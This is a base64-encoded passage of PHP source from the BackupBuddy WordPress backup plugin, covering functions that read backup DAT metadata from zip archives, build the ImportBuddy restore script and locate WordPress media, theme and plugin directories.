cHNbICRiYWNrdXBfZmlsZSBdOwoJCQl1bnNldCggJGJhY2t1cHNbICRiYWNrdXBfZmlsZSBdICk7CgkJfQoJCXVuc2V0KCAkYmFja3VwcyApOwoKCQlyZXR1cm4gJHNvcnRlZF9iYWNrdXBzOwoKCX0gLy8gRW5kIGJhY2t1cHNfbGlzdCgpLgoKCgkvKioKCSAqIDExMjgKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRmaWxlICBQYXRoIHRvIGZpbGUuCgkgKgoJICogQHJldHVybiBhcnJheSBEYXQgYXJyYXkgZnJvbSB6aXAuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0RGF0QXJyYXlGcm9tWmlwKCAkZmlsZSApIHsKCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi96aXBidWRkeS96aXBidWRkeS5waHAnOwoJCSR6aXBidWRkeSA9IG5ldyBwbHVnaW5idWRkeV96aXBidWRkeSggYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwRGlyZWN0b3J5KCkgKTsKCQkkc2VyaWFsICAgPSBzZWxmOjpnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGZpbGUgKTsKCgkJJGZpbmQgICA9IGZhbHNlOwoJCSRzZWFyY2ggPSBhcnJheSgKCQkJJ3dwLWNvbnRlbnQvdXBsb2Fkcy9iYWNrdXBidWRkeV90ZW1wLycgLiAkc2VyaWFsIC4gJy9iYWNrdXBidWRkeV9kYXQucGhwJywgLy8gUG9zdCAyLjAgZnVsbCBiYWNrdXAuCgkJCSd3cC1jb250ZW50L3VwbG9hZHMvdGVtcF8nIC4gJHNlcmlhbCAuICcvYmFja3VwYnVkZHlfZGF0LnBocCcsIC8vIFByZSAyLjAgZnVsbCBiYWNrdXAuCgkJCSdiYWNrdXBidWRkeV9kYXQucGhwJywgLy8gREIgYmFja3VwLgoJCSk7CgoJCWlmICggISBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXSA9ICR6aXBidWRkeTsKCQl9CgoJCWZvcmVhY2ggKCAkc2VhcmNoIGFzICRsb2NhdGlvbiApIHsKCQkJaWYgKCB0cnVlID09PSBwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ3ppcGJ1ZGR5J10tPmZpbGVfZXhpc3RzKCAkZmlsZSwgJGxvY2F0aW9uICkgKSB7CgkJCQkkZmluZCA9ICRsb2NhdGlvbjsKCQkJCWJyZWFrOwoJCQl9CgkJfQoKCQlpZiAoIGZhbHNlID09PSAkZmluZCApIHsKCQkJLy8gQ291bGQgbm90IGZpbmQgREFUIGZpbGUuCgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIENhbGN1bGF0ZSB0ZW1wIGRpcmVjdG9yeSAmIGxvY2sgaXQgZG93bi4KCQkkdGVtcF9kaXIgICAgPSBnZXRfdGVtcF9kaXIoKTsKCQkkZGVzdGluYXRpb24gPSAkdGVtcF9kaXI7CgkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkZGVzdGluYXRpb24gKSAmJiBmYWxzZSA9PT0gbWtkaXIoICRkZXN0aW5hdGlvbiApICkgewoJCQkkZXJyb3IgPSBlc2NfaHRtbF9fKCAnRXJyb3IgIzQ1ODQ4NTk0NWI6IFVuYWJsZSB0byBjcmVhdGUgdGVtcG9yYXJ5IGxvY2F0aW9uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJZGllKCAkZXJyb3IgKTsgLy8gQGNvZGluZ1N0YW5kYXJkc0lnbm9yZUxpbmU6IG9rLgoJCX0KCgkJLy8gSWYgdGVtcCBkaXJlY3RvcnkgaXMgd2l0aGluIHdlYnJvb3QgdGhlbiBsb2NrIGl0IGRvd24uCgkJJHRlbXBfZGlyID0gc3RyX3JlcGxhY2UoICdcXCcsICcvJywgJHRlbXBfZGlyICk7IC8vIE5vcm1hbGl6ZSBmb3IgV2luZG93cy4KCQkkdGVtcF9kaXIgPSBydHJpbSggJHRlbXBfZGlyLCAnL1xcJyApIC4gJy8nOyAvLyBFbmZvcmNlIHNpbmdsZSB0cmFpbGluZyBzbGFzaC4KCQlpZiAoIGZhbHNlICE9PSBzdHJpc3RyKCAkdGVtcF9kaXIsIEFCU1BBVEggKSApIHsgLy8gVGVtcCBkaXIgaXMgd2l0aGluIHdlYnJvb3QuCgkJCXBiX2JhY2t1cGJ1ZGR5OjphbnRpX2RpcmVjdG9yeV9icm93c2luZyggJGRlc3RpbmF0aW9uICk7CgkJfQoKCQkkZGVzdF9maWxlbmFtZSAgPSAndGVtcF9kYXRfcmVhZC0nIC4gJHNlcmlhbCAuICcucGhwJzsKCQkkZXh0cmFjdGlvbnMgICAgPSBhcnJheSggJGZpbmQgPT4gJGRlc3RfZmlsZW5hbWUgKTsKCQkkZXh0cmFjdF9yZXN1bHQgPSAkemlwYnVkZHktPmV4dHJhY3QoICRmaWxlLCAkZGVzdGluYXRpb24sICRleHRyYWN0aW9ucyApOwoJCWlmICggZmFsc2UgPT09ICRleHRyYWN0X3Jlc3VsdCApIHsgLy8gZmFpbGVkLgoJCQlyZXR1cm4gYXJyYXkoKTsKCQl9IGVsc2UgewoJCQkkZGF0X2FycmF5ID0gc2VsZjo6Z2V0X2RhdF9maWxlX2FycmF5KCBydHJpbSggJGRlc3RpbmF0aW9uLCAnXFwvJyApIC4gJy90ZW1wX2RhdF9yZWFkLScgLiAkc2VyaWFsIC4gJy5waHAnICk7CgkJCUB1bmxpbmsoICR0ZW1wX2RpciAuICRkZXN0X2ZpbGVuYW1lICk7CgkJCWlmICggaXNfYXJyYXkoICRkYXRfYXJyYXkgKSApIHsKCQkJCXJldHVybiAkZGF0X2FycmF5OwoJCQl9IGVsc2UgewoJCQkJcmV0dXJuIGFycmF5KCk7CgkJCX0KCQl9CgoJfSAvLyBFbmQgZ2V0RGF0Q29udGVudHNGcm9tWmlwKCkuCgoKCS8qKgoJICogR2VuZXJhdGUgaW1wb3J0YnVkZHkuCgkgKgoJICogSU1QT1JUQU5UOiBJZiBvdXRwdXR0aW5nIHRvIGJyb3dzZXIgKG5vIG91dHB1dCBmaWxlKSBtdXN0IGRpZSgpIGFmdGVyIG91dHB1dHRpbmcgY29udGVudCBpZiB1c2luZyBBSkFYLiBEbyBub3Qgb3V0cHV0IHRvIGJyb3dzZXIgYW55dGhpbmcgYWZ0ZXIgdGhpcyBmdW5jdGlvbiBpbiB0aGlzIGNhc2UuCgkgKiBJTVBPUlRBTlQ6IF9BTFdBWVNfIHJldHVybnMgRkFMU0UgaWYgbm8gaW1wb3J0YnVkZHkgcGFzcyBoYXNoIGlzIHBhc3NlZCBBTkQgbm8gcGFzcyBoYXNoIGlzIHNldCBpbiB0aGUgU2V0dGluZ3MgcGFnZS4KCSAqIElmICRvdXRwdXRfZmlsZSBpcyBibGFuayB0aGVuIGltcG9ydGJ1ZGR5IHdpbGwgZWl0aGVyIGJlIHJldHVybmVkIG9yIHJldHVybmVkIHRvIHRoZSBicndvc2VyIGFzIGEgZG93bmxvYWRlZCBmaWxlIGJhc2VkIG9uIDNyZCBwYXJhbWV0ZXIuCgkgKiBJZiAkb3V0cHV0X2ZpbGUgaXMgZGVmaW5lZCB0aGVuIHJldHVybnMgdHJ1ZSBvbiBzdWNjZXNzIHdyaXRpbmcgZmlsZSwgZWxzZSBmYWxzZS4KCSAqCgkgKiBVc2UgJGltcG9ydGJ1ZGR5X3Bhc3NfaGFzaCA9IG51bGwgdG8gbGVhdmUgI1BBU1NXT1JEIyBwbGFjZWhvbGRlci4gRWcgZm9yIHVzZSB3aXRoIExpdmUuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkb3V0cHV0X2ZpbGUgICAgICAgICAgICBPdXRwdXQgRmlsZW5hbWUuCgkgKiBAcGFyYW0gc3RyaW5nICRpbXBvcnRidWRkeV9wYXNzX2hhc2ggIEltcG9ydEJ1ZGR5IFBhc3N3b3JkIEhhc2guCgkgKiBAcGFyYW0gYm9vbCAgICRyZXR1cm5fbm90X2VjaG8gICAgICAgIFJldHVybiBpbnN0ZWFkIG9mIEVjaG8uCgkgKgoJICogQHJldHVybiBib29sfHZvaWQgIElmICRyZXR1cm5fbm90X2VjaG8gaXMgdHJ1ZSwgb3RoZXJ3aXNlIHZvaWQuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaW1wb3J0YnVkZHkoICRvdXRwdXRfZmlsZSA9ICcnLCAkaW1wb3J0YnVkZHlfcGFzc19oYXNoID0gJycsICRyZXR1cm5fbm90X2VjaG8gPSBmYWxzZSApIHsKCgkJcGJfYmFja3VwYnVkZHk6OnNldF9ncmVlZHlfc2NyaXB0X2xpbWl0cygpOyAvLyBTb21lIHBlb3BsZSBydW4gb3V0IG9mIFBIUCBtZW1vcnkuCgoJCWlmICggbnVsbCAhPT0gJGltcG9ydGJ1ZGR5X3Bhc3NfaGFzaCApIHsKCQkJaWYgKCAnJyA9PSAkaW1wb3J0YnVkZHlfcGFzc19oYXNoICkgewoJCQkJaWYgKCAhIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnMgKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6bG9hZCgpOwoJCQkJfQoJCQkJJGltcG9ydGJ1ZGR5X3Bhc3NfaGFzaCA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snaW1wb3J0YnVkZHlfcGFzc19oYXNoJ107CgkJCX0KCgkJCWlmICggJycgPT0gJGltcG9ydGJ1ZGR5X3Bhc3NfaGFzaCApIHsKCQkJCSRtZXNzYWdlID0gJ1dhcm5pbmcgIzkwMzIgLSBZb3UgaGF2ZSBub3Qgc2V0IGFuIEltcG9ydEJ1ZGR5IHBhc3N3b3JkIG9uIHRoZSBCYWNrdXBCdWRkeSBTZXR0aW5ncyBwYWdlLiBBIGNvcHkgb2YgdGhlIGltcG9ydGJ1ZGR5LnBocCBmaWxlIG5lZWRlZCB0byByZXN0b3JlIHlvdXIgYmFja3VwIGlzIGluY2x1ZGVkIGluIEZ1bGwgYmFja3VwIHppcCBmaWxlcyBmb3IgY29udmVuaWVuY2UuIFNpbmNlIGEgcGFzc3dvcmQgaXMgbm90IGEgcmFuZG9tIG9uZSBoYXMgYmVlbiBhcHBsaWVkIHRvIHRoaXMgaW1wb3J0YnVkZHkucGhwIHNvIHlvdSB3aWxsIG5lZWQgdG8gdXNlIHRoZSAiRm9yZ290IFBhc3N3b3JkIiBvcHRpb24gaWYgdXNpbmcgaXQgdG8gcmVzdG9yZS4nOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAkbWVzc2FnZSApOwoJCQkJJGltcG9ydGJ1ZGR5X3Bhc3NfaGFzaCA9IHBiX2JhY2t1cGJ1ZGR5OjpyYW5kb21fc3RyaW5nKCA0NSApOyAvLyBSYW5kb20gbG9uZyBoYXNoIGZvciBkdW1teSBwYXNzd29yZC4KCQkJfQoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBpbXBvcnRidWRkeSBjb3JlIGZpbGUgaW50byBtZW1vcnkuJyApOwoJCSRvdXRwdXQgPSBmaWxlX2dldF9jb250ZW50cyggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL19pbXBvcnRidWRkeS9faW1wb3J0YnVkZHkucGhwJyApOwoKCQlpZiAoIG51bGwgIT09ICRpbXBvcnRidWRkeV9wYXNzX2hhc2ggJiYgJycgIT0gJGltcG9ydGJ1ZGR5X3Bhc3NfaGFzaCApIHsKCQkJJG91dHB1dCA9IHByZWdfcmVwbGFjZSggJy8jUEFTU1dPUkQjLycsICRpbXBvcnRidWRkeV9wYXNzX2hhc2gsICRvdXRwdXQsIDEgKTsgLy8gT25seSByZXBsYWNlcyBmaXJzdCBpbnN0YW5jZS4KCQl9CgoJCSR2ZXJzaW9uX3N0cmluZyA9IHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICkgLiAnIChkb3dubG9hZGVkICcgLiBkYXRlKCBEQVRFX1czQyApIC4gJyknOwoKCQkvLyBJZiBvbiBERVYgc3lzdGVtICguZ2l0IGRpciBleGlzdHMpIHRoZW4gYXBwZW5kIHNvbWUgZGV0YWlscyBvbiBjdXJyZW50LgoJCWlmICggZGVmaW5lZCggJ0JBQ0tVUEJVRERZX0RFVicgKSAmJiB0cnVlID09PSBCQUNLVVBCVUREWV9ERVYgKSB7CgkJCWlmICggQGZpbGVfZXhpc3RzKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvLmdpdC9sb2dzL0hFQUQnICkgKSB7CgkJCQkkY29tbWl0X2xvZyAgICAgID0gZXNjYXBlc2hlbGxhcmcoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy8uZ2l0L2xvZ3MvSEVBRCcgKTsKCQkJCSRjb21taXRfbGluZSAgICAgPSBzdHJfcmVwbGFjZSggJ1wnJywgJ2AnLCBleGVjKCAidGFpbCAtbiAxIHskY29tbWl0X2xvZ30iICkgKTsKCQkJCSR2ZXJzaW9uX3N0cmluZyAuPSAnIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDhweDsiPltERVY6ICcgLiAkY29tbWl0X2xpbmUgLiAnXTwvc3Bhbj4nOwoJCQl9CgkJfQoKCQkkb3V0cHV0ID0gcHJlZ19yZXBsYWNlKCAnLyNWRVJTSU9OIy8nLCAkdmVyc2lvbl9zdHJpbmcsICRvdXRwdXQsIDIgKTsgLy8gT25seSByZXBsYWNlcyBmaXJzdCBUV08gaW5zdGFuY2VzLgoKCQkvLyBQQUNLIElNUE9SVEJVRERZLgoJCSRfcGFja2RhdGEgPSBhcnJheSggLy8gTk8gVFJBSUxJTkcgT1IgUFJFQ0VFRElORyBTTEFTSEVTIQoKCQkJJ19pbXBvcnRidWRkeS9pbXBvcnRidWRkeScgICAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeScsCgkJCSdjbGFzc2VzL19taWdyYXRlX2RhdGFiYXNlLnBocCcgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvY2xhc3Nlcy9fbWlncmF0ZV9kYXRhYmFzZS5waHAnLAoJCQknY2xhc3Nlcy9jb3JlLnBocCcgICAgICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2NsYXNzZXMvY29yZS5waHAnLAoJCQknY2xhc3Nlcy9pbXBvcnQucGhwJyAgICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2NsYXNzZXMvaW1wb3J0LnBocCcsCgkJCSdjbGFzc2VzL3Jlc3RvcmUucGhwJyAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvY2xhc3Nlcy9yZXN0b3JlLnBocCcsCgkJCSdjbGFzc2VzL19yZXN0b3JlRmlsZXMucGhwJyAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvY2xhc3Nlcy9fcmVzdG9yZUZpbGVzLnBocCcsCgkJCSdjbGFzc2VzL3JlbW90ZV9hcGkucGhwJyAgICAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvY2xhc3Nlcy9yZW1vdGVfYXBpLnBocCcsCgoJCQknanMvanF1ZXJ5LmxlYW5Nb2RhbC5taW4uanMnICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2pzL2pxdWVyeS5sZWFuTW9kYWwubWluLmpzJywKCQkJJ2Nzcy9hbmltYXRlLmNzcycgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9jc3MvYW5pbWF0ZS5jc3MnLAoKCQkJJ2ltYWdlcy93b3JraW5nLmdpZicgICAgICAgICAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9pbWFnZXMvd29ya2luZy5naWYnLAoJCQknaW1hZ2VzL2J1bGxldF9nby5wbmcnICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2ltYWdlcy9idWxsZXRfZ28ucG5nJywKCQkJJ2ltYWdlcy9mYXZpY29uLnBuZycgICAgICAgICAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9pbWFnZXMvZmF2aWNvbi5wbmcnLAoJCQknaW1hZ2VzL3NvcnRfZG93bi5wbmcnICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2ltYWdlcy9zb3J0X2Rvd24ucG5nJywKCQkJJ2ltYWdlcy9pY29uX21lbnVfMzJ4MzIucG5nJyAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9pbWFnZXMvaWNvbl9tZW51XzMyeDMyLnBuZycsCgoJCQknbGliL2RicmVwbGFjZScgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2xpYi9kYnJlcGxhY2UnLAoJCQknbGliL2RiaW1wb3J0JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2xpYi9kYmltcG9ydCcsCgkJCSdsaWIvY29tbWFuZGJ1ZGR5JyAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvbGliL2NvbW1hbmRidWRkeScsCgkJCSdsaWIvcGNsemlwJyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvbGliL3BjbHppcCcsCgkJCSdsaWIvemlwYnVkZHknICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvbGliL3ppcGJ1ZGR5JywKCQkJJ2xpYi9teXNxbGJ1ZGR5JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9saWIvbXlzcWxidWRkeScsCgkJCSdsaWIvdGV4dHJlcGxhY2VidWRkeScgICAgICAgICAgICAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvbGliL3RleHRyZXBsYWNlYnVkZHknLAoJCQknbGliL2NwYW5lbCcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2xpYi9jcGFuZWwnLAoKCQkJJ3BsdWdpbmJ1ZGR5JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9wbHVnaW5idWRkeScsCgoJCQknY29udHJvbGxlcnMvcGFnZXMvc2VydmVyX2luZm8nICAgICAgICAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2NvbnRyb2xsZXJzL3BhZ2VzL3NlcnZlcl9pbmZvJywKCQkJJ2NvbnRyb2xsZXJzL3BhZ2VzL3NlcnZlcl90b29scy5waHAnICAgICAgICAgID0+ICdpbXBvcnRidWRkeS9jb250cm9sbGVycy9wYWdlcy9zZXJ2ZXJfdG9vbHMucGhwJywKCgkJCS8vIFN0YXNoCgkJCS8vICdkZXN0aW5hdGlvbnMvc3Rhc2gyL2luaXQucGhwJyAgICAgICAgICAgICA9PiAnaW1wb3J0YnVkZHkvbGliL3N0YXNoMi9pbml0LnBocCcsCgkJCSdkZXN0aW5hdGlvbnMvc3Rhc2gyL2NsYXNzLml0eF9oZWxwZXIyLnBocCcgICA9PiAnaW1wb3J0YnVkZHkvbGliL3N0YXNoMi9jbGFzcy5pdHhfaGVscGVyMi5waHAnLAoJCQknZGVzdGluYXRpb25zL3N0YXNoMi9jbGFzcy5pdGNyZWQucGhwJyAgICAgICAgPT4gJ2ltcG9ydGJ1ZGR5L2xpYi9zdGFzaDIvY2xhc3MuaXRjcmVkLnBocCcsCgkJCSdkZXN0aW5hdGlvbnMvc3Rhc2gyL2NsYXNzLXBocGFzcy5waHAnICAgICAgICA9PiAnaW1wb3J0YnVkZHkvbGliL3N0YXNoMi9jbGFzcy1waHBhc3MucGhwJywKCQkJJ2Rlc3RpbmF0aW9ucy9fczNsaWIvYXdzLXNkay9saWIvcmVxdWVzdGNvcmUnID0+ICdpbXBvcnRidWRkeS9saWIvcmVxdWVzdGNvcmUnLAoJCSk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0xvYWRpbmcgZWFjaCBmaWxlIGludG8gbWVtb3J5IGZvciB3cml0aW5nIG1hc3RlciBpbXBvcnRidWRkeSBmaWxlLicgKTsKCgkJJG91dHB1dCAuPSAiXG4vKlxuIyMjUEFDS0RBVEEsQkVHSU5cbiI7CgkJZm9yZWFjaCAoICRfcGFja2RhdGEgYXMgJHBhY2tfc291cmNlID0+ICRwYWNrX2Rlc3RpbmF0aW9uICkgewoJCQkkcGFja19zb3VyY2UgPSAnLycgLiAkcGFja19zb3VyY2U7CgkJCWlmICggaXNfZGlyKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICRwYWNrX3NvdXJjZSApICkgewoJCQkJJGZpbGVzID0gcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT5kZWVwc2NhbmRpciggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAkcGFja19zb3VyY2UgKTsKCQkJfSBlbHNlIHsKCQkJCSRmaWxlcyA9IGFycmF5KCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICRwYWNrX3NvdXJjZSApOwoJCQl9CgkJCWZvcmVhY2ggKCAkZmlsZXMgYXMgJGZpbGUgKSB7CgkJCQlpZiAoIGlzX2ZpbGUoICRmaWxlICkgKSB7CgkJCQkJJHNvdXJjZSAgICAgID0gc3RyX3JlcGxhY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpLCAnJywgJGZpbGUgKTsKCQkJCQkkZGVzdGluYXRpb24gPSAkcGFja19kZXN0aW5hdGlvbiAuIHN1YnN0ciggJHNvdXJjZSwgc3RybGVuKCAkcGFja19zb3VyY2UgKSApOwoJCQkJCSRvdXRwdXQgICAgIC49ICIjIyNQQUNLREFUQSxGSUxFX1NUQVJULHskc291cmNlfSx7JGRlc3RpbmF0aW9ufVxuIjsKCQkJCQkkb3V0cHV0ICAgICAuPSBiYXNlNjRfZW5jb2RlKCBmaWxlX2dldF9jb250ZW50cyggJGZpbGUgKSApOwoJCQkJCSRvdXRwdXQgICAgIC49ICJcbiI7CgkJCQkJJG91dHB1dCAgICAgLj0gIiMjI1BBQ0tEQVRBLEZJTEVfRU5ELHskc291cmNlfSx7JGRlc3RpbmF0aW9ufVxuIjsKCQkJCX0KCQkJfQoJCX0KCQkkb3V0cHV0IC49ICIjIyNQQUNLREFUQSxFTkRcbiovIjsKCQkkb3V0cHV0IC49ICJcblxuXG5cblxuXG5cblxuXG5cbiI7CgoJCWlmICggdHJ1ZSA9PT0gJHJldHVybl9ub3RfZWNobyApIHsKCQkJcmV0dXJuICRvdXRwdXQ7CgkJfQoKCQlpZiAoICcnID09ICRvdXRwdXRfZmlsZSApIHsgLy8gTm8gZmlsZSBzbyBvdXRwdXQgdG8gYnJvd3Nlci4KCQkJaGVhZGVyKCAnQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicgKTsKCQkJaGVhZGVyKCAnQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBuYW1lPWltcG9ydGJ1ZGR5LnBocCcgKTsKCQkJaGVhZGVyKCAnQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9aW1wb3J0YnVkZHkucGhwJyApOwoJCQloZWFkZXIoICdFeHBpcmVzOiAwJyApOwoJCQloZWFkZXIoICdDb250ZW50LUxlbmd0aDogJyAuIHN0cmxlbiggJG91dHB1dCApICk7CgoJCQlwYl9iYWNrdXBidWRkeTo6Zmx1c2goKTsKCQkJZWNobyAkb3V0cHV0OwoJCQlwYl9iYWNrdXBidWRkeTo6Zmx1c2goKTsKCgkJCS8vIEJFIFNVUkUgVE8gZGllKCkgQUZURVIgVEhJUyBBTkQgTk9UIE9VVFBVVCBUTyBCUk9XU0VSIQoJCX0gZWxzZSB7IC8vIFdyaXRlIHRvIGZpbGUuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1dyaXRpbmcgaW1wb3J0YnVkZHkgbWFzdGVyIGZpbGUgdG8gZGlzay4nICk7CgkJCWlmICggZmFsc2UgPT09IGZpbGVfcHV0X2NvbnRlbnRzKCAkb3V0cHV0X2ZpbGUsICRvdXRwdXQgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjNDgzODk0OiBVbmFibGUgdG8gd3JpdGUgdG8gZmlsZSBgJyAuICRvdXRwdXRfZmlsZSAuICdgLicgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoKCQkJcmV0dXJuIHRydWU7CgkJfQoKCX0gLy8gRW5kIGltcG9ydGJ1ZGR5KCkuCgoKCS8qKgoJICogTGVhZGluZyAmIHRyYWlsaW5nIHNsYXNoLiBEb2VzIG5vdCBjcmVhdGUgaWYgaXQgZG9lcyBub3QgZXhpc3QuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIE1lZGlhIHJvb3QgcGF0aC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfbWVkaWFfcm9vdCgpIHsKCQkkdXBsb2Fkc19kaXJzID0gd3BfdXBsb2FkX2RpciggbnVsbCwgZmFsc2UgKTsKCQlyZXR1cm4gcnRyaW0oICR1cGxvYWRzX2RpcnNbJ2Jhc2VkaXInXSwgJy8nICkgLiAnLyc7Cgl9IC8vIEVuZCBnZXRfbWVkaWFfcm9vdCgpLgoKCgkvKioKCSAqIExlYWRpbmcgJiB0cmFpbGluZyBzbGFzaC4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgVGhlbWVzIHJvb3QgcGF0aC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfdGhlbWVzX3Jvb3QoKSB7CgkJcmV0dXJuIHJ0cmltKCBkaXJuYW1lKCBnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgKSwgJy8nICkgLiAnLyc7Cgl9IC8vIEVuZCBnZXRfdGhlbWVzX3Jvb3QoKS4KCgoJLyoqCgkgKiBMZWFkaW5nICYgdHJhaWxpbmcgc2xhc2guCgkgKgoJICogQHJldHVybiBzdHJpbmcgIFBsdWdpbnMgcm9vdCBwYXRoLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9wbHVnaW5zX3Jvb3QoKSB7CgkJcmV0dXJuIHJ0cmltKCBXUF9QTFVHSU5fRElSLCAnLycgKSAuICcvJzsKCX0gLy8gRW5kIGdldF9wbHVnaW5zX3Jvb3QoKS4KCgkvKioKCSAqIFJldHVybnMgYXJyYXkgb2YgcGF0aHMgdG8gaW5hY3RpdmUgcGx1Z2lucy4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBQYXRocyB0byBpbmFjdGl2ZSBwbHVnaW5zLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9pbmFjdGl2ZV9wbHVnaW5zKCkgewoJCSRpbmFjdGl2ZV9wbHVnaW5zID0gYXJyYXkoKTsKCgkJaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ2dldF9wbHVnaW5zJyApICkgewoJCQlyZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9wbHVnaW4ucGhwJzsKCQl9CgoJCSRhbGxfcGx1Z2lucyA9IGdldF9wbHVnaW5zKCk7CgoJCWZvcmVhY2ggKCAkYWxsX3BsdWdpbnMgYXMgJHBsdWdpbl9wYXRoID0+ICRwbHVnaW4gKSB7CgkJCWlmICggISAkcGx1Z2luX3BhdGggKSB7CgkJCQljb250aW51ZTsKCQkJfQoKCQkJaWYgKCBpc19wbHVnaW5fYWN0aXZlKCAkcGx1Z2luX3BhdGggKSA9PT0gZmFsc2UgKSB7CgkJCQlpZiAoIGRpcm5hbWUoIHNlbGY6OmdldF9wbHVnaW5zX3Jvb3QoKSAuICRwbHVnaW5fcGF0aCApID09IFdQX1BMVUdJTl9ESVIgKSB7CgkJCQkJLy8gRXhjbHVkZSB0aGUgZnVsbCBwYXRoIChsaWtlIHBsdWdpbnMvaGVsbG8ucGhwKS4KCQkJCQkkaW5hY3RpdmVfcGx1Z2luc1tdID0gc2VsZjo6Z2V0X3BsdWdpbnNfcm9vdCgpIC4gJHBsdWdpbl9wYXRoOwoJCQkJfSBlbHNlIHsKCQkJCQkvLyBFeGNsdWRlIHRoZSBwYXJlbnQgZm9sZGVyIChsaWtlIHBsdWdpbnMvYWtpc21ldCkuCgkJCQkJJGluYWN0aXZlX3BsdWdpbnNbXSA9IGRpcm5hbWUoIHNlbGY6OmdldF9wbHVnaW5zX3Jvb3QoKSAuICRwbHVnaW5fcGF0aCApOwoJCQkJfQoJCQl9CgkJfQoKCQlyZXR1cm4gJGluYWN0aXZlX3BsdWdpbnM7Cgl9CgoJLyoqCgk